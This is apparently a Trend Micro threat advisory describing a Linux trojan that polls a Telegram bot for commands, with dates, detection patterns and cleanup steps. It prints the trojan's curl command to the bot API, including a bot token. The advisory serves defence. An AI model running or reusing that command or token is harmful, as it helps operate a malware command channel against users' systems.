Analysis by: Alyssa Christelle Ramos
ALIASES:

Trojan.Linux.Telegrambot;Linux/TelegramBot.B trojan

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 5,825 bytes
File Type: Other
Memory Resident: No
Initial Samples Received Date: 24 Jun 2021

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • curl -s --insecure https://api.te{BLOCKED}.org/bot1871346421:AAHxWjqxg5qwbup_TbXFVRWekh7WkPeQFpA/getUpdates?offset=1&timeout=30

Other Details

This Trojan connects to the following possibly malicious URL:

  • https://api.te{BLOCKED}.org/bot1871346421:AAHxWjqxg5qwbup_TbXFVRWekh7WkPeQFpA/getUpdates?offset=1&timeout=30

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 16.802.05
FIRST VSAPI PATTERN DATE: 25 Jun 2021
VSAPI OPR PATTERN File: 16.803.00
VSAPI OPR PATTERN Date: 26 Jun 2021

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.TEGBOT.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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